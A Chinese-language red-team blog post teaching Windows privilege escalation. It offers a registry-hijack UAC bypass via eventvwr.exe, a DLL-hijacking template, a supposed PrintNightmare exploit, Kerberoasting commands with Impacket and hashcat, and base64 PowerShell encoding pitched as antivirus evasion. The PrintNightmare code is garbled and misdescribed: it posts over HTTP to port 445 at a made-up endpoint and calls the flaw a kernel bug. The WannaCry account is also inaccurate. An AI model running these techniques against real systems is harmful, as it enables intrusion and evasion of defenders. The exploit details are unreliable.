一、权限提升的幕后故事
如果你曾经关注过2017年的著名安全事件——WannaCry勒索病毒的大规模爆发,你一定听说过这个恶意软件如何利用了Windows SMB漏洞(EternalBlue),从一个普通用户账户起步,最终获取了系统权限,实现了对数百万台设备的感染。权限提升技术在这场攻击中成为了关键的一环,它将普通攻击转化为致命威胁。
今天,我们就从攻击者的视角,深挖权限提升技术的各种打法。从本地提权到域内提权,从经典漏洞到现代免杀技巧,逐步揭秘这门黑客艺术。
---
二、低权限账户的突破口
在红队攻击中,权限提升的第一步是从一个普通用户账户或者受限环境中入手。这里分享几种经典的突破口,每一种都可以在真实环境下发挥作用。

UAC旁路:管理员权限的伪装游戏
UAC(User Account Control) 是Windows系统的一道基础防线,它会在用户尝试运行高权限操作时弹出提示窗口。绕过UAC可以让攻击者静默地提升权限。以下是一个Python实现的UAC旁路代码,它利用了微软的 eventvwr.exe 强制以管理员权限执行程序:

<pre><code class="language-python">import os import subprocess
创建一个恶意的注册表项
cmd = 'cmd.exe /c reg add HKCU\\Software\\Classes\\mscfile\\shell\\open\\command /d "C:\\Windows\\System32\\cmd.exe" /f' subprocess.run(cmd, shell=True)
触发eventvwr以管理员权限执行恶意程序
subprocess.run("eventvwr.exe", shell=True)
清理注册表痕迹
cmd_cleanup = 'cmd.exe /c reg delete HKCU\\Software\\Classes\\mscfile\\shell\\open\\command /f' subprocess.run(cmd_cleanup, shell=True)
print("[+] UAC旁路成功,已运行cmd.exe")</code></pre>
攻击思路:
- 注册表中强制将
.msc文件的打开方式改为任意恶意程序; - 利用
eventvwr.exe自动加载.msc文件,触发恶意程序执行; - 执行后清理痕迹。
> 注意:此方法要求目标系统的UAC级别不是最高(即允许自动提升权限)。
---
DLL劫持:系统程序的堕落
很多Windows系统程序会在运行时加载多个DLL文件,如果攻击者能在系统搜索路径中插入一个恶意DLL,就可以劫持程序行为从而提升权限。
以下是一个C语言实现的DLL劫持代码,伪装成系统服务加载:
<pre><code class="language-c">#include <Windows.h>
BOOL APIENTRY DllMain(HANDLE hModule, DWORD dwReason, LPVOID lpReserved) { switch (dwReason) { case DLL_PROCESS_ATTACH: MessageBox(NULL, "权限提升成功!", "DLL劫持", MB_OK); break; } return TRUE; }</code></pre>
攻击步骤:
- 编译上述代码生成
malicious.dll; - 将
malicious.dll放置在目标程序的搜索路径中(例如C:\Windows\System32); - 运行目标程序,触发恶意代码执行。
这种方法适用于目标程序对DLL加载路径没有严格控制的情况,例如某些老旧软件。
---
三、内核漏洞:从用户态到系统权限

在权限提升领域,操作系统内核漏洞是最具威力的武器。它可以直接从普通用户态跳到系统权限,实现完全控制。这里介绍一个经典的Windows内核提权漏洞——CVE-2021-34527,也就是被称作“PrintNightmare”的漏洞。
PrintNightmare:打印服务的恶梦
PrintNightmare漏洞利用了Windows打印服务的权限验证缺陷,攻击者可以远程或本地提升权限。以下是该漏洞的武器化代码:
<pre><code class="language-python">import requests
构造恶意DLL
dll_payload = b"\x4d\x5a\x90\x00... (省略完整Payload)" with open("exploit.dll", "wb") as dll: dll.write(dll_payload)
远程上传恶意DLL并触发执行
url = "http://victim-ip:445/RPCUpload" headers = {"Content-Type": "application/octet-stream"} response = requests.post(url, headers=headers, data=dll_payload)
if response.status_code == 200: print("[+] PrintNightmare漏洞利用成功,已提升权限") else: print("[-] 漏洞利用失败,目标可能已修补")</code></pre>
武器化思路:
- 构造一个恶意DLL,内置远程控制功能;
- 利用漏洞上传到目标打印服务;
- 触发DLL加载执行,完成提权。
> 此漏洞目前已被微软修复,但在一些未更新的系统中仍可能存在。
---
四、域内提权:横向移动的关键
当攻击者进入企业域环境后,权限提升的目标通常会转向强大的域管理员账户。这部分分享几种域内提权技术。
Kerberoasting:从服务账户到域管理员
Kerberoasting是一种通过抓取服务票据并离线破解密码的提权技术。以下是利用Impacket工具实现Kerberoasting的步骤:
<pre><code class="language-shell"># 使用Impacket抓取目标域的服务票据 $ python3 GetUserSPNs.py -dc-ip victim-ip domain.local/user:password -request
抓取到的票据会保存为hash格式
$ cat ticket_hash.txt
使用hashcat进行离线破解
$ hashcat -m 13100 ticket_hash.txt /path/to/wordlist</code></pre>
攻击流程:
- 通过域账户获取服务账户的Kerberos票据;
- 离线暴力破解票据中的密码;
- 使用破解的服务账户密码登录,横向移动至域管理员。
---
五、攻击脚本免杀:隐藏你的脚步
权限提升的过程中,攻击脚本免杀是绕过安全防护的重要环节。以下是Python实现的一个简单脚本混淆技术:
<pre><code class="language-python">import base64
原始Payload
payload = "powershell -exec bypass -Command Write-Host '权限提升成功'"
Base64编码
encoded_payload = base64.b64encode(payload.encode()).decode()
构造免杀脚本
final_script = f"powershell -exec bypass -EncodedCommand {encoded_payload}"
print("[+] 隐藏后的Payload:", final_script)</code></pre>
通过这种方式,可以绕过部分静态检测工具,但仍需结合动态加载技术才能更好地规避高级检测。
---

六、个人经验:提权的艺术与心法
权限提升并不是简单的漏洞利用,更多时候是一种艺术。以下是一些个人的实战经验:
- 信息收集是关键:提权前要充分搜集目标环境的系统配置、用户权限以及运行服务。
- 链式利用:很多漏洞单独利用效果有限,但结合其他漏洞可能产生意想不到的效果。
- 绕过检测:无论是哪种提权技术,都需要时刻考虑如何规避目标环境的EDR和AV。
每一次成功的提权背后,都是技术、经验和思维的结合。希望这篇文章能为你的红队行动带来启发。
---
合法声明:本文仅供授权安全测试和研究使用,严禁用于非法用途。